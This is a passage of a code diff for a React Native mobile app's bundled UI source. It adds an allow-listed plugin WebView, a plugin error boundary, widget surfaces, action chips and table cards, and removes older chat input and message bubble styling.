- /* @__PURE__ */ jsx4(Text4, { style: styles4.toolName, children: tc.name }),
586
- tc.skill && /* @__PURE__ */ jsx4(Text4, { style: styles4.toolSkill, children: tc.skill })
587
- ] }, i))
588
- ] });
563
+
564
+ // src/plugin/EmbeddedPluginWebView.tsx
565
+ import { jsx as jsx2, jsxs as jsxs2 } from "react/jsx-runtime";
566
+ function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
567
+ const [error, setError] = useState2(null);
568
+ const token = getToken();
569
+ const tenant = getTenant2();
570
+ const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
571
+ const url = resolvePluginUrl(manifest, tenant || void 0);
572
+ const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
573
+ const computeAllowedHosts = useCallback2(() => {
574
+ const hosts = /* @__PURE__ */ new Set();
575
+ const urls = [getCoreApiUrl()];
576
+ if (getConfig().voiceUrl) urls.push(getVoiceApiUrl());
577
+ try {
578
+ urls.push(...getPluginWebViewExtraHosts()?.() || []);
579
+ } catch {
580
+ }
581
+ for (const u of urls) {
582
+ try {
583
+ hosts.add(new URL(u).hostname);
584
+ } catch {
585
+ }
586
+ }
587
+ return hosts;
588
+ }, []);
589
+ const isAllowedPluginUrl = useCallback2((rawUrl) => {
590
+ if (!rawUrl) return false;
591
+ let parsed;
592
+ try {
593
+ parsed = new URL(rawUrl);
594
+ } catch {
595
+ return false;
596
+ }
597
+ if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
598
+ if (parsed.protocol === "http:") return false;
599
+ return computeAllowedHosts().has(parsed.hostname);
600
+ }, [computeAllowedHosts]);
601
+ const originWhitelist = useMemo(
602
+ () => Array.from(computeAllowedHosts()).map((h) => `https://${h}`),
603
+ [computeAllowedHosts]
604
+ );
605
+ if (error) {
606
+ return /* @__PURE__ */ jsx2(View2, { style: styles2.center, children: /* @__PURE__ */ jsx2(Text2, { style: styles2.errorText, children: error }) });
607
+ }
608
+ return /* @__PURE__ */ jsx2(View2, { style: styles2.container, children: /* @__PURE__ */ jsx2(
609
+ WebView,
610
+ {
611
+ ref: webViewRef,
612
+ source: { uri: url },
613
+ style: styles2.webview,
614
+ javaScriptEnabled: true,
615
+ domStorageEnabled: true,
616
+ allowsInlineMediaPlayback: true,
617
+ mediaPlaybackRequiresUserAction: false,
618
+ mixedContentMode: "never",
619
+ originWhitelist,
620
+ allowsBackForwardNavigationGestures: false,
621
+ setSupportMultipleWindows: false,
622
+ javaScriptCanOpenWindowsAutomatically: false,
623
+ onShouldStartLoadWithRequest: (req) => {
624
+ if (!isAllowedPluginUrl(req.url)) {
625
+ console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
626
+ return false;
627
+ }
628
+ return true;
629
+ },
630
+ injectedJavaScriptBeforeContentLoaded: bridgeJS,
631
+ onMessage: handleMessage,
632
+ onLoad: () => {
633
+ setTimeout(sendInit, 100);
634
+ setTimeout(sendInit, 500);
635
+ setTimeout(sendInit, 1200);
636
+ },
637
+ onError: (syntheticEvent) => {
638
+ const { nativeEvent } = syntheticEvent;
639
+ console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
640
+ setError(`WebView error: ${nativeEvent.description}`);
641
+ },
642
+ onHttpError: (syntheticEvent) => {
643
+ const { nativeEvent } = syntheticEvent;
644
+ console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
645
+ if (nativeEvent.statusCode >= 400) {
646
+ setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
647
+ }
648
+ },
649
+ startInLoadingState: true,
650
+ renderLoading: () => /* @__PURE__ */ jsxs2(View2, { style: styles2.webviewLoading, children: [
651
+ /* @__PURE__ */ jsx2(ActivityIndicator, { size: "small", color: ada2.orange }),
652
+ /* @__PURE__ */ jsx2(Text2, { style: styles2.loadingText, children: "Loading plugin..." })
653
+ ] }),
654
+ ...Platform.OS === "ios" ? { bounces: false } : {}
655
+ }
656
+ ) });
589
657
  }
590
- var styles4 = StyleSheet4.create({
591
- row: {
592
- flexDirection: "row",
593
- alignItems: "flex-end",
594
- marginBottom: 12,
595
- paddingHorizontal: 12,
596
- gap: 8
597
- },
598
- rowUser: {
599
- justifyContent: "flex-end"
658
+ var styles2 = StyleSheet2.create({
659
+ container: {
660
+ flex: 1,
661
+ backgroundColor: ada2.paper
600
662
  },
601
- avatarOrb: {
602
- width: 28,
603
- height: 28,
663
+ center: {
664
+ flex: 1,
604
665
  justifyContent: "center",
605
- alignItems: "center"
606
- },
607
- avatarSpacer: {
608
- width: 28,
609
- height: 28
610
- },
611
- bubble: {
612
- maxWidth: "78%",
613
- backgroundColor: ada4.botBubble,
614
- borderWidth: 1,
615
- borderColor: ada4.botBubbleBorder,
616
- borderRadius: borderRadius3.xl,
617
- paddingHorizontal: 16,
618
- paddingVertical: 12
619
- },
620
- bubbleUser: {
621
- backgroundColor: ada4.userBubble,
622
- borderColor: "transparent"
623
- },
624
- bubbleSystem: {
625
- backgroundColor: ada4.orangeSoft,
626
- borderColor: ada4.orange,
627
- maxWidth: "90%"
628
- },
629
- bubbleNotification: {
630
- backgroundColor: ada4.orangeSoft,
631
- borderColor: "rgba(255, 122, 40, 0.35)",
632
- borderRadius: borderRadius3.lg,
633
- maxWidth: "90%"
634
- },
635
- notificationLeftStripe: {
636
- width: 3,
637
- alignSelf: "stretch",
638
- backgroundColor: ada4.orange,
639
- borderRadius: 2,
640
- marginRight: 4
641
- },
642
- notificationHeader: {
643
- flexDirection: "row",
644
666
  alignItems: "center",
645
- gap: 6,
646
- marginBottom: 6
667
+ backgroundColor: ada2.paper,
668
+ paddingHorizontal: 32
647
669
  },
648
- notificationHeaderIcon: {
649
- fontSize: 12
670
+ errorText: {
671
+ color: "#C15545",
672
+ fontSize: 16,
673
+ textAlign: "center"
650
674
  },
651
- notificationHeaderText: {
652
- color: ada4.orangeDeep,
653
- fontSize: 11,
654
- fontWeight: "700",
655
- letterSpacing: 0.6,
656
- textTransform: "uppercase",
657
- fontFamily: fontFam3
675
+ webview: {
676
+ flex: 1,
677
+ backgroundColor: ada2.paper
658
678
  },
659
- userText: {
660
- color: ada4.userBubbleText,
661
- fontSize: fontSize4.md,
662
- lineHeight: 22,
663
- fontFamily: fontFam3
679
+ webviewLoading: {
680
+ position: "absolute",
681
+ top: 0,
682
+ left: 0,
683
+ right: 0,
684
+ bottom: 0,
685
+ justifyContent: "center",
686
+ alignItems: "center",
687
+ backgroundColor: ada2.paper,
688
+ gap: 12
664
689
  },
665
- timeText: {
666
- fontSize: 11,
667
- color: ada4.inkMuted,
668
- alignSelf: "flex-end",
669
- marginTop: 4,
670
- fontFamily: fontFam3
671
- },
672
- timeTextUser: {
673
- color: "rgba(250,246,238,0.55)"
674
- },
675
- attachments: {
676
- flexDirection: "row",
677
- flexWrap: "wrap",
678
- gap: 6,
679
- marginBottom: 8
680
- },
681
- attachmentImage: {
682
- width: 120,
683
- height: 90,
684
- borderRadius: 8
685
- },
686
- attachmentFile: {
687
- backgroundColor: "rgba(255,255,255,0.15)",
688
- borderRadius: 8,
689
- paddingHorizontal: 10,
690
- paddingVertical: 6
691
- },
692
- attachmentFileName: {
693
- color: "rgba(255,255,255,0.8)",
694
- fontSize: 11,
695
- maxWidth: 100
696
- },
697
- copiedBadge: {
698
- position: "absolute",
699
- top: 6,
700
- right: 6,
701
- backgroundColor: "#5A8A5C",
702
- paddingHorizontal: 8,
703
- paddingVertical: 2,
704
- borderRadius: borderRadius3.sm
705
- },
706
- copiedText: {
707
- color: "#fff",
708
- fontSize: fontSize4.xs,
709
- fontWeight: "600"
710
- },
711
- toolCalls: {
712
- marginTop: 8,
713
- borderTopWidth: 1,
714
- borderTopColor: ada4.border,
715
- paddingTop: 6
716
- },
717
- toolToggle: {
718
- flexDirection: "row",
719
- alignItems: "center",
720
- gap: 6
721
- },
722
- toolLabel: {
723
- color: ada4.inkSoft,
724
- fontSize: fontSize4.xs,
725
- fontWeight: "500"
726
- },
727
- toolChevron: {
728
- color: ada4.inkMuted,
729
- fontSize: 8
730
- },
731
- toolItem: {
732
- marginTop: 4,
733
- paddingLeft: 8
734
- },
735
- toolName: {
736
- color: ada4.inkSoft,
737
- fontSize: fontSize4.xs,
738
- fontFamily: "monospace"
739
- },
740
- toolSkill: {
741
- color: ada4.orangeDeep,
742
- fontSize: fontSize4.xs
690
+ loadingText: {
691
+ color: ada2.inkSoft,
692
+ fontSize: 14
743
693
  }
744
694
  });
745
- var markdownStyles = StyleSheet4.create({
746
- body: {
747
- color: ada4.botBubbleText,
748
- fontSize: fontSize4.md,
749
- lineHeight: 22,
750
- fontFamily: fontFam3
751
- },
752
- paragraph: {
753
- marginTop: 0,
754
- marginBottom: 4
755
- },
756
- strong: {
757
- fontWeight: "700",
758
- color: ada4.botBubbleText
759
- },
760
- em: {
761
- fontStyle: "italic"
695
+
696
+ // src/plugin/Plugin.tsx
697
+ import { jsx as jsx3, jsxs as jsxs3 } from "react/jsx-runtime";
698
+ var PluginErrorBoundary = class extends React.Component {
699
+ constructor() {
700
+ super(...arguments);
701
+ this.state = { hasError: false, error: null };
702
+ }
703
+ static getDerivedStateFromError(error) {
704
+ return { hasError: true, error };
705
+ }
706
+ componentDidCatch(error, info) {
707
+ console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
708
+ }
709
+ render() {
710
+ if (this.state.hasError) {
711
+ return /* @__PURE__ */ jsxs3(View3, { style: styles3.error, children: [
712
+ /* @__PURE__ */ jsx3(Text3, { style: styles3.errorTitle, children: "Plugin Error" }),
713
+ /* @__PURE__ */ jsx3(Text3, { style: styles3.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
714
+ /* @__PURE__ */ jsx3(
715
+ Pressable,
716
+ {
717
+ style: styles3.retryBtn,
718
+ onPress: () => this.setState({ hasError: false, error: null }),
719
+ children: /* @__PURE__ */ jsx3(Text3, { style: styles3.retryText, children: "Retry" })
720
+ }
721
+ )
722
+ ] });
723
+ }
724
+ return this.props.children;
725
+ }
726
+ };
727
+ function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
728
+ const { plugin, loading, error, bundleMissing } = usePlugin(id, manifest);
729
+ const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
730
+ const bridge = useNativeBridge(id, connectorId, commandBufferRef);
731
+ const declaredCaps = manifest?.native;
732
+ const native = useMemo2(() => gatePluginNative(getPluginNative(), declaredCaps), [declaredCaps]);
733
+ const theme = usePluginTheme();
734
+ const user = getUser();
735
+ const context = useMemo2(() => ({
736
+ tenant: getTenant3(),
737
+ pluginId: id,
738
+ connectorId,
739
+ user: user ? { id: user.actorId || "", name: user.name || "", roles: user.roles || [] } : void 0
740
+ }), [id, connectorId, user?.actorId, user?.name, user?.roles]);
741
+ const iframeUrl = manifest?.render?.iframeUrl;
742
+ if (bundleMissing && iframeUrl) {
743
+ return /* @__PURE__ */ jsx3(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
744
+ }
745
+ if (loading) {
746
+ return /* @__PURE__ */ jsxs3(View3, { style: styles3.center, children: [
747
+ /* @__PURE__ */ jsx3(ActivityIndicator2, { size: "small", color: colors.dark.accent }),
748
+ /* @__PURE__ */ jsx3(Text3, { style: styles3.loadingText, children: "Loading plugin..." })
749
+ ] });
750
+ }
751
+ if (error || !plugin) {
752
+ return /* @__PURE__ */ jsx3(View3, { style: styles3.center, children: /* @__PURE__ */ jsx3(Text3, { style: styles3.errorMessage, children: error || "Plugin not found" }) });
753
+ }
754
+ const { Component } = plugin;
755
+ return /* @__PURE__ */ jsx3(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ jsx3(Component, { bridge, native, theme, context, props: engineProps }) });
756
+ }
757
+ var styles3 = StyleSheet3.create({
758
+ center: {
759
+ flex: 1,
760
+ justifyContent: "center",
761
+ alignItems: "center",
762
+ backgroundColor: colors.dark.bgPrimary,
763
+ paddingHorizontal: 32,
764
+ gap: 12
762
765
  },
763
- code_inline: {
764
- backgroundColor: ada4.paperDeep,
765
- color: ada4.orangeDeep,
766
- paddingHorizontal: 5,
767
- paddingVertical: 1,
768
- borderRadius: 4,
769
- fontFamily: "monospace",
770
- fontSize: fontSize4.sm
766
+ loadingText: {
767
+ color: colors.dark.textSecondary,
768
+ fontSize: 14
771
769
  },
772
- fence: {
773
- backgroundColor: ada4.paperDeep,
774
- padding: 10,
775
- borderRadius: 10
770
+ error: {
771
+ flex: 1,
772
+ justifyContent: "center",
773
+ alignItems: "center",
774
+ backgroundColor: colors.dark.bgPrimary,
775
+ paddingHorizontal: 32,
776
+ gap: 8
776
777
  },
777
- fenceText: {
778
- fontFamily: "monospace",
779
- fontSize: fontSize4.sm,
780
- color: ada4.ink
778
+ errorTitle: {
779
+ color: colors.dark.red,
780
+ fontSize: 16,
781
+ fontWeight: "600"
781
782
  },
782
- link: {
783
- color: ada4.orangeDeep
783
+ errorMessage: {
784
+ color: colors.dark.textSecondary,
785
+ fontSize: 14,
786
+ textAlign: "center"
784
787
  },
785
- list_item: {
786
- color: ada4.botBubbleText
788
+ retryBtn: {
789
+ marginTop: 12,
790
+ paddingHorizontal: 20,
791
+ paddingVertical: 10,
792
+ backgroundColor: colors.dark.accentSoft,
793
+ borderRadius: 8
787
794
  },
788
- bullet_list: {
789
- marginVertical: 4
795
+ retryText: {
796
+ color: colors.dark.accent,
797
+ fontSize: 14,
798
+ fontWeight: "600"
790
799
  }
791
800
  });
792
801
 
793
- // src/chat/TypingIndicator.tsx
794
- import { View as View5, StyleSheet as StyleSheet5 } from "react-native";
795
- import { AdaOrb as AdaOrb2 } from "@ateam-ai-mobile/plugin-runtime";
796
- import { jsx as jsx5 } from "react/jsx-runtime";
797
- function TypingIndicator() {
798
- return /* @__PURE__ */ jsx5(View5, { style: styles5.row, children: /* @__PURE__ */ jsx5(AdaOrb2, { size: 32, state: "thinking" }) });
802
+ // src/plugin/PluginSurface.tsx
803
+ import { jsx as jsx4 } from "react/jsx-runtime";
804
+ function PluginSurface({ pluginId, surface, dismiss, props }) {
805
+ const [manifest, setManifest] = useState3(null);
806
+ const [error, setError] = useState3(null);
807
+ useEffect3(() => {
808
+ let cancelled = false;
809
+ getPlugin(pluginId).then((m) => {
810
+ if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
811
+ }).catch((e) => {
812
+ if (!cancelled) setError(e?.message || "Failed to load");
813
+ });
814
+ return () => {
815
+ cancelled = true;
816
+ };
817
+ }, [pluginId]);
818
+ const body = manifest ? /* @__PURE__ */ jsx4(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ jsx4(View4, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ jsx4(ActivityIndicator3, { color: ada3.orange }) });
819
+ if (surface.type === "fullscreen") {
820
+ return /* @__PURE__ */ jsx4(
821
+ SurfaceFullscreen,
822
+ {
823
+ visible: true,
824
+ onClose: dismiss,
825
+ status: surface.title,
826
+ showWordmark: true,
827
+ closeIcon: "x",
828
+ closeLabel: "Close",
829
+ children: body
830
+ }
831
+ );
832
+ }
833
+ return /* @__PURE__ */ jsx4(
834
+ SurfaceDrawer,
835
+ {
836
+ visible: true,
837
+ onClose: dismiss,
838
+ title: surface.title || pluginId,
839
+ subtitle: surface.subtitle,
840
+ privacy: !!surface.privacy,
841
+ children: body
842
+ }
843
+ );
799
844
  }
800
- var styles5 = StyleSheet5.create({
801
- row: {
802
- flexDirection: "row",
803
- alignItems: "center",
804
- marginBottom: 12,
805
- paddingHorizontal: 16,
806
- paddingVertical: 4
845
+
846
+ // src/plugin/WidgetHost.tsx
847
+ import { jsx as jsx5 } from "react/jsx-runtime";
848
+ var useWidgetHostStore = create((set) => ({
849
+ pluginId: null,
850
+ props: void 0,
851
+ open: (pluginId, props) => set({ pluginId, props }),
852
+ close: () => set({ pluginId: null, props: void 0 })
853
+ }));
854
+ function openWidget(pluginId, props) {
855
+ const surfaces = useSurfaceStore.getState();
856
+ if (surfaces.manifests[pluginId]) {
857
+ surfaces.show(pluginId, props);
858
+ return;
807
859
  }
808
- });
860
+ useWidgetHostStore.getState().open(pluginId, props);
861
+ }
862
+ function WidgetHost() {
863
+ const pluginId = useWidgetHostStore((s) => s.pluginId);
864
+ const props = useWidgetHostStore((s) => s.props);
865
+ const close = useWidgetHostStore((s) => s.close);
866
+ useEffect4(() => {
867
+ return pluginCommandEmitter2.on("focus-plugin", (data) => {
868
+ if (data?.pluginId) openWidget(String(data.pluginId), data.props);
869
+ });
870
+ }, []);
871
+ if (!pluginId) return null;
872
+ return /* @__PURE__ */ jsx5(
873
+ PluginSurface,
874
+ {
875
+ pluginId,
876
+ surface: { type: "fullscreen" },
877
+ dismiss: close,
878
+ props
879
+ },
880
+ pluginId
881
+ );
882
+ }
809
883
 
810
- // src/chat/ChatInput.tsx
811
- import { useState as useState3, useRef as useRef2, useCallback as useCallback2, useEffect as useEffect2 } from "react";
812
- import {
813
- View as View6,
814
- TextInput,
815
- Pressable as Pressable3,
816
- StyleSheet as StyleSheet6,
817
- Platform as Platform4
818
- } from "react-native";
819
- import Svg, { Path, Line, Polygon } from "react-native-svg";
820
- import { colors, borderRadius as borderRadius4 } from "@ateam-ai-mobile/core";
821
- import { getHaptics as getHaptics3 } from "@ateam-ai-mobile/plugin-runtime";
822
- import { jsx as jsx6, jsxs as jsxs5 } from "react/jsx-runtime";
823
- function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
824
- const [text, setText] = useState3("");
825
- const [height, setHeight] = useState3(40);
826
- const inputRef = useRef2(null);
827
- useEffect2(() => {
828
- if (prefill) {
829
- setText(prefill);
830
- inputRef.current?.focus();
831
- }
832
- }, [prefill]);
833
- const handleSend = useCallback2(() => {
834
- const trimmed = text.trim();
835
- if (!trimmed) return;
836
- getHaptics3()?.impact("light");
837
- onSend(trimmed);
838
- setText("");
839
- setHeight(40);
840
- }, [text, loading, onSend]);
841
- const canSend = text.trim().length > 0;
842
- return /* @__PURE__ */ jsx6(View6, { style: styles6.dock, children: /* @__PURE__ */ jsxs5(View6, { style: styles6.inputRow, children: [
843
- onCallStart && /* @__PURE__ */ jsx6(Pressable3, { style: styles6.callBtn, onPress: onCallStart, children: /* @__PURE__ */ jsx6(Svg, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ jsx6(Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
844
- /* @__PURE__ */ jsx6(
845
- TextInput,
846
- {
847
- ref: inputRef,
848
- style: [styles6.input, { height: Math.min(Math.max(40, height), 120) }],
849
- value: text,
850
- onChangeText: setText,
851
- onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
852
- placeholder: placeholder || "Message A-Team...",
853
- placeholderTextColor: colors.light.textMuted,
854
- multiline: true,
855
- returnKeyType: "default",
856
- blurOnSubmit: false,
857
- onSubmitEditing: () => {
858
- if (Platform4.OS === "web") handleSend();
884
+ // src/chat/UIActionsRow.tsx
885
+ import { jsx as jsx6, jsxs as jsxs4 } from "react/jsx-runtime";
886
+ var fontFam = Platform2.OS === "ios" ? "SF Pro Rounded" : void 0;
887
+ var ICON_MAP = {
888
+ timer: "\u23F1",
889
+ memory: "\u{1F9E0}",
890
+ calendar: "\u{1F4C5}",
891
+ home: "\u{1F3E0}",
892
+ bell: "\u{1F514}",
893
+ star: "\u2B50",
894
+ bolt: "\u26A1"
895
+ };
896
+ function UIActionsRow({ actions }) {
897
+ if (!Array.isArray(actions) || actions.length === 0) return null;
898
+ const handlePress = (a) => {
899
+ getHaptics()?.selection();
900
+ const id = a.pluginId || a.target;
901
+ if (!id) return;
902
+ const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
903
+ const surface = useSurfaceStore2.getState().manifests[id];
904
+ if (surface) {
905
+ useSurfaceStore2.getState().show(id, focus ? { focus } : void 0);
906
+ return;
907
+ }
908
+ const params = {};
909
+ if (focus) params.focus = String(focus);
910
+ if (a.intent === "suggested_action" && a.payload?.tool) {
911
+ params.tool = String(a.payload.tool);
912
+ if (a.payload?.args) {
913
+ try {
914
+ params.args = JSON.stringify(a.payload.args);
915
+ } catch {
859
916
  }
860
917
  }
861
- ),
862
- /* @__PURE__ */ jsx6(
863
- Pressable3,
918
+ }
919
+ if (a.intent === "quick_toggle" && a.payload?.verb) {
920
+ params.verb = String(a.payload.verb);
921
+ }
922
+ const navigate = getUIActionNavigator();
923
+ if (navigate) {
924
+ navigate({ pluginId: id, params });
925
+ return;
926
+ }
927
+ openWidget(id, Object.keys(params).length ? params : void 0);
928
+ };
929
+ return /* @__PURE__ */ jsx6(View5, { style: styles4.row, children: actions.map((a, i) => {
930
+ const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
931
+ return /* @__PURE__ */ jsxs4(
932
+ Pressable2,
864
933
  {
865
- style: [styles6.sendBtn, canSend && styles6.sendBtnActive],
866
- onPress: handleSend,
867
- disabled: !canSend,
868
- children: /* @__PURE__ */ jsxs5(Svg, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : colors.light.textMuted, strokeWidth: 2, children: [
869
- /* @__PURE__ */ jsx6(Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
870
- /* @__PURE__ */ jsx6(Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
871
- ] })
872
- }
873
- )
874
- ] }) });
934
+ accessibilityRole: "button",
935
+ accessibilityLabel: a.description || a.label,
936
+ onPress: () => handlePress(a),
937
+ style: ({ pressed }) => [styles4.chip, pressed && styles4.chipPressed],
938
+ children: [
939
+ icon ? /* @__PURE__ */ jsx6(Text4, { style: styles4.icon, children: icon }) : null,
940
+ /* @__PURE__ */ jsx6(Text4, { style: styles4.label, numberOfLines: 1, children: a.label })
941
+ ]
942
+ },
943
+ `${a.target || "a"}-${i}`
944
+ );
945
+ }) });
875
946
  }
876
- var styles6 = StyleSheet6.create({
877
- dock: {
878
- paddingHorizontal: 12,
879
- paddingVertical: 8,
880
- backgroundColor: colors.light.bgPrimary,
881
- borderTopWidth: 0.5,
882
- borderTopColor: colors.light.border
947
+ var styles4 = StyleSheet4.create({
948
+ row: {
949
+ flexDirection: "row",
950
+ flexWrap: "wrap",
951
+ gap: 6,
952
+ marginTop: 10
883
953
  },
884
- inputRow: {
954
+ chip: {
885
955
  flexDirection: "row",
886
- alignItems: "flex-end",
887
- backgroundColor: colors.light.bgInput,
888
- borderRadius: borderRadius4.xl,
956
+ alignItems: "center",
957
+ gap: 6,
958
+ paddingHorizontal: 12,
959
+ paddingVertical: 6,
960
+ backgroundColor: ada4.orangeSoft,
961
+ borderColor: ada4.orange,
889
962
  borderWidth: 1,
890
- borderColor: colors.light.border,
891
- paddingHorizontal: 4,
892
- paddingVertical: 4,
893
- gap: 4
894
- },
895
- callBtn: {
896
- width: 36,
897
- height: 36,
898
- borderRadius: 18,
899
- justifyContent: "center",
900
- alignItems: "center"
963
+ borderRadius: 14
901
964
  },
902
- input: {
903
- flex: 1,
904
- fontSize: 16,
905
- color: colors.light.textPrimary,
906
- paddingHorizontal: 8,
907
- paddingVertical: 8,
908
- maxHeight: 120
965
+ chipPressed: {
966
+ backgroundColor: ada4.orange
909
967
  },
910
- sendBtn: {
911
- width: 36,
912
- height: 36,
913
- borderRadius: 18,
914
- justifyContent: "center",
915
- alignItems: "center",
916
- backgroundColor: colors.light.bgTertiary
968
+ icon: {
969
+ fontSize: 12,
970
+ lineHeight: 14
917
971
  },
918
- sendBtnActive: {
919
- backgroundColor: colors.light.accent
972
+ label: {
973
+ color: ada4.orangeDeep,
974
+ fontSize: fontSize2.xs,
975
+ fontWeight: "600",
976
+ fontFamily: fontFam
920
977
  }
921
978
  });
922
979
 
923
- // src/Lightbox.tsx
924
- import { Modal, View as View7, Image as Image2, Pressable as Pressable4, Text as Text5, StyleSheet as StyleSheet7 } from "react-native";
925
- import { getConfig as getConfig2 } from "@ateam-ai-mobile/core";
926
- import { jsx as jsx7, jsxs as jsxs6 } from "react/jsx-runtime";
927
- function Lightbox() {
928
- const uri = useLightboxStore((s) => s.uri);
929
- const hide = useLightboxStore((s) => s.hide);
930
- if (!uri) return null;
931
- return /* @__PURE__ */ jsx7(Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ jsxs6(Pressable4, { style: styles7.backdrop, onPress: hide, children: [
932
- /* @__PURE__ */ jsx7(
933
- Image2,
934
- {
935
- source: {
936
- uri,
937
- ...uri.startsWith("http") ? {
938
- headers: { Authorization: `Bearer ${getConfig2().tokenProvider.getToken()}` }
939
- } : {}
940
- },
941
- style: styles7.image,
942
- resizeMode: "contain"
943
- }
944
- ),
945
- /* @__PURE__ */ jsx7(View7, { style: styles7.closeHint, children: /* @__PURE__ */ jsx7(Text5, { style: styles7.closeHintText, children: "Tap to close" }) })
946
- ] }) });
980
+ // src/chat/TableCardBlock.tsx
981
+ import { View as View6, Text as Text5, StyleSheet as StyleSheet5, Platform as Platform3 } from "react-native";
982
+ import { ada as ada5, borderRadius as borderRadius2, fontSize as fontSize3, spacing } from "@ateam-ai-mobile/core";
983
+ import { jsx as jsx7, jsxs as jsxs5 } from "react/jsx-runtime";
984
+ var fontFam2 = Platform3.OS === "ios" ? "SF Pro Rounded" : void 0;
985
+ function TableCardBlock({ columns, rows }) {
986
+ if (!columns?.length || !rows?.length) return null;
987
+ const [titleCol, ...detailCols] = columns;
988
+ return /* @__PURE__ */ jsx7(View6, { style: styles5.wrap, children: rows.map((row, i) => {
989
+ const cells = Array.isArray(row) ? row : [row];
990
+ const title = cells[0];
991
+ return /* @__PURE__ */ jsxs5(View6, { style: styles5.card, children: [
992
+ /* @__PURE__ */ jsx7(Text5, { style: styles5.title, children: String(title ?? "") }),
993
+ detailCols.length > 0 && /* @__PURE__ */ jsx7(View6, { style: styles5.details, children: detailCols.map((col, ci) => {
994
+ const value = cells[ci + 1];
995
+ if (value == null || value === "") return null;
996
+ return /* @__PURE__ */ jsxs5(View6, { style: styles5.row, children: [
997
+ /* @__PURE__ */ jsx7(Text5, { style: styles5.label, children: String(col) }),
998
+ /* @__PURE__ */ jsx7(Text5, { style: styles5.value, children: String(value) })
999
+ ] }, ci);
1000
+ }) })
1001
+ ] }, i);
1002
+ }) });
947
1003
  }
948
- var styles7 = StyleSheet7.create({
949
- backdrop: {
950
- flex: 1,
951
- backgroundColor: "rgba(0,0,0,0.92)",
952
- justifyContent: "center"
1004
+ var styles5 = StyleSheet5.create({
1005
+ wrap: {
1006
+ marginVertical: 6,
1007
+ gap: 8
953
1008
  },
954
- image: {
955
- width: "100%",
956
- height: "85%"
1009
+ card: {
1010
+ backgroundColor: ada5.paper,
1011
+ borderRadius: borderRadius2.md,
1012
+ borderWidth: 1,
1013
+ borderColor: ada5.border,
1014
+ padding: spacing.md
957
1015
  },
958
- closeHint: {
959
- position: "absolute",
960
- bottom: 40,
961
- alignSelf: "center"
1016
+ title: {
1017
+ color: ada5.ink,
1018
+ fontSize: fontSize3.md,
1019
+ fontWeight: "600",
1020
+ fontFamily: fontFam2,
1021
+ letterSpacing: -0.2,
1022
+ marginBottom: 6
962
1023
  },
963
- closeHintText: {
964
- color: "rgba(255,255,255,0.6)",
965
- fontSize: 13
1024
+ details: {
1025
+ gap: 4
1026
+ },
1027
+ row: {
1028
+ flexDirection: "row",
1029
+ alignItems: "flex-start",
1030
+ gap: 8
1031
+ },
1032
+ label: {
1033
+ color: ada5.inkMuted,
1034
+ fontSize: fontSize3.xs,
1035
+ fontFamily: fontFam2,
1036
+ fontWeight: "500",
1037
+ width: 84,
1038
+ textTransform: "uppercase",
1039
+ letterSpacing: 0.6,
1040
+ paddingTop: 2
1041
+ },
1042
+ value: {
1043
+ flex: 1,
1044
+ color: ada5.inkSoft,
1045
+ fontSize: fontSize3.sm,
1046
+ fontFamily: fontFam2,
1047
+ lineHeight: 18
966
1048
  }
967
1049
  });
968
1050
 
969
- // src/AdasChatScreen.tsx
970
- import { jsx as jsx8, jsxs as jsxs7 } from "react/jsx-runtime";
971
- function isSameDay2(a, b) {
1051
+ // src/stores/lightboxStore.ts
1052
+ import { create as create2 } from "zustand";
1053
+ var useLightboxStore = create2((set) => ({
1054
+ uri: null,
1055
+ show: (uri) => set({ uri }),
1056
+ hide: () => set({ uri: null })
1057
+ }));
1058
+
1059
+ // src/chat/MessageBubble.tsx
1060
+ import { Fragment, jsx as jsx8, jsxs as jsxs6 } from "react/jsx-runtime";
1061
+ var fontFam3 = Platform4.OS === "ios" ? "SF Pro Rounded" : void 0;
1062
+ function formatTime(date) {
1063
+ const h = date.getHours();
1064
+ const m = date.getMinutes().toString().padStart(2, "0");
1065
+ return `${h}:${m}`;
1066
+ }
1067
+ function DaySeparator({ date }) {
1068
+ const today = /* @__PURE__ */ new Date();
1069
+ const yesterday = new Date(today);
1070
+ yesterday.setDate(yesterday.getDate() - 1);
1071
+ let label;
1072
+ if (isSameDay(date, today)) {
1073
+ label = "Today";
1074
+ } else if (isSameDay(date, yesterday)) {
1075
+ label = "Yesterday";
1076
+ } else {
1077
